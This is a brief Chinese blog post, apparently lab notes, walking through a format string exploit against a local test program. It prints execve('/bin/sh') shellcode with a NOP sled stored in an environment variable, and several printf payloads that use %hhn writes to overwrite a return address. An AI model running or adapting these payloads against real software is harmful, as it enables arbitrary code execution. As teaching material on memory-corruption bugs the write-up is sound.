Format String
设置环境变量
perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode1.bin
export SHELLCODE=`perl -e 'print "\x90"x100;'``cat shellcode1.bin`
查看环境变量存储位置

之后编译并且运行get_env,查看环境变量所在位置

利用格式化字符 %hhn 逐字节修改返回地址为 0xffffd7a4 。
./fmt_str `printf "\x10\x34\xff\xff\x11\x34\xff\xff\x12\x34\xff\xff\x13\x34\xff\xff"`%3\$148x%4\$hhn%3\$51x%5\$hhn%3\$40x%6\$hhn%7\$hhn

可以得到 text 的地址为 0xffffd130 ,因此返回地址所在的地址为 0xffffd130 + 0x40c = 0xffffd53c
之后构造payload
./fmt_str `printf "\x3c\xd5\xff\xff\x3d\xd5\xff\xff\x3e\xd5\xff\xff\x3f\xd5\xff\xff"`%3\$148x%4\$hhn%3\$51x%5\$hhn%3\$40x%6\$hhn%7\$hhn

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!